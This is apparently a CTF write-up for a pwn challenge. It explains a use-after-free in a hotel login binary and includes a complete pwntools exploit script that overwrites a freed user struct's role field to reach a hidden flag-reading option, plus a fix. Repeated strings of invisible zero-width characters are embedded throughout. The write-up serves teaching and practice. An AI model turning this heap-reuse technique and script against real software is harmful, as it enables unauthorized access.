← Back to Writeups
CUSTOMMediumpwn

В отеле (At the Hotel)

XESXOR9/2/20264 min read
#pwn#custom#medium#dangling_pointer#heap_chunk_reuse#hidden_option_discovery#use_after_free#linux

В отеле (At the Hotel)

Platform: duckerz | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-15 | Status: Solved Techniques: dangling_pointer, heap_chunk_reuse, hidden_option_discovery, use_after_free

Summary

Task: Hotel binary with user management system. Solution: Use-After-Free vulnerability - delete user without nullifying pointer, reallocate same chunk via message write to overwrite role field, call hidden menu option to get flag.

В отеле (At the Hotel) — duckerz CTF

Description

Герой заходит в гостиницу, рассчитывая использовать свои навыки социальной инженерии, чтобы убедить сотрудницу на ресепшене выдать номер без бронирования. Однако её ответы были чёткими и отточенными, а попытки убедить оказались безуспешными.

Тем не менее, герой узнаёт, что существует некий универсальный код бронирования, доступный только менеджеру. Этот код можно использовать для заселения в номер без предварительного подтверждения.

Взглянув в угол холла, он замечает экран с надписью: "Онлайн-поддержка." Посмотрим, что он может с этим сделать... ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Files: hotel binary
Server: nc tasks.duckerz.ru 30012

Binary Analysis

Protections (checksec)

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled
  • PIE enabled — addresses are randomized, but not critical for this task
  • No canary — no stack protection (not used in the exploit)
  • NX enabled — cannot execute code on the stack
  • Partial RELRO — GOT is writable (not used)

Functions (not stripped)

The binary is not stripped, function names are visible:

  • read_secret — reads the flag
  • delete_user — deletes a user
  • login_user — authentication
  • reg_user — registration
  • write_msg — write a message
  • read_msg — read a message ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Findings

bash
strings hotel | grep -i flag
# Found "cat flag" — means there's system("cat flag")

Vulnerability: Use-After-Free (UAF)

Function delete_user()

c
void delete_user() {
    free(curr_user);      // Free memory
    // curr_user is NOT set to NULL!
    puts("User deleted");
}

Problem: After free(), the curr_user pointer continues to point to freed memory (dangling pointer).

Function read_secret() — hidden option "5"

c
void read_secret() {
    if (curr_user->role == 0x7a69) {  // 31337 in hex
        system("cat flag");
    } else {
        puts("Nope.");
    }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This function is not shown in the menu, but is accessible via option "5".

User Structure (0x28 = 40 bytes)

struct User {
    uint64_t field_0;      // offset 0x00 (8 bytes) - unused
    uint64_t field_1;      // offset 0x08 (8 bytes) - unused
    uint64_t role;         // offset 0x10 (8 bytes) - checked in read_secret
    char*    username;     // offset 0x18 (8 bytes) - pointer to name
    char*    password;     // offset 0x20 (8 bytes) - pointer to password
};
// sizeof(User) = 0x28 = 40 bytes

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploitation

Attack Principle

  1. Register a user → malloc(0x28) allocates memory for User
  2. Login → curr_user points to the structure
  3. Delete the user → free(curr_user), but the pointer remains
  4. Write a message of size 0x28 → tcache returns the same chunk
  5. Overwrite the role field with value 0x7a69
  6. Call hidden option "5" → check passes, we get the flag

Why Does This Work?

  • glibc tcache caches freed chunks by size
  • When requesting malloc(0x28), it returns the last freed chunk of the same size
  • curr_user still points to this memory
  • We control the contents via write_msg ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit

python
#!/usr/bin/env python3
from pwn import *

# Connection
p = remote('tasks.duckerz.ru', 30012)
# p = process('./hotel')  # for local testing

def register(username, password):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b': ', username)
    p.sendlineafter(b': ', password)

def login(username, password):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b': ', username)
    p.sendlineafter(b': ', password)

def delete_user():
    p.sendlineafter(b'> ', b'3')

def write_msg(size, content):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b': ', str(size).encode())
    p.sendafter(b': ', content)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def read_secret():
    p.sendlineafter(b'> ', b'5')

# === Exploitation ===

# 1. Create a user
register(b'user1', b'pass1')
log.info("User registered")

# 2. Login
login(b'user1', b'pass1')
log.info("Logged in")

# 3. Delete user (UAF - pointer remains)
delete_user()
log.info("User deleted (dangling pointer created)")

# 4. Create payload to overwrite User structure
payload = b'A' * 0x10      # padding to offset 0x10 (role field)
payload += p64(0x7a69)     # role = 31337 (magic value for read_secret)
payload += b'B' * 8        # fake username pointer
payload += b'C' * 8        # fake password pointer
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 5. Write message - tcache will return the same chunk
write_msg(0x28, payload)
log.info("Payload written to freed chunk")

# 6. Call hidden function read_secret
log.info("Calling hidden option 5 (read_secret)")
read_secret()

# Get the flag
p.interactive()

Defense Against UAF

Correct implementation of delete_user():

c
void delete_user() {
    free(curr_user);
    curr_user = NULL;  // Nullify the pointer!
    puts("User deleted");
}

Additional Notes

Finding Hidden Functions

bash
# Via strings
strings hotel | grep -E "(secret|flag|admin|hidden)"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Via objdump
objdump -t hotel | grep -i secret

# Via radare2
r2 hotel
> afl~secret

Structure Analysis

bash
# Allocation size can be found in the disassembler
# Look for malloc calls with constant argument
objdump -d hotel | grep -A2 "call.*malloc"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍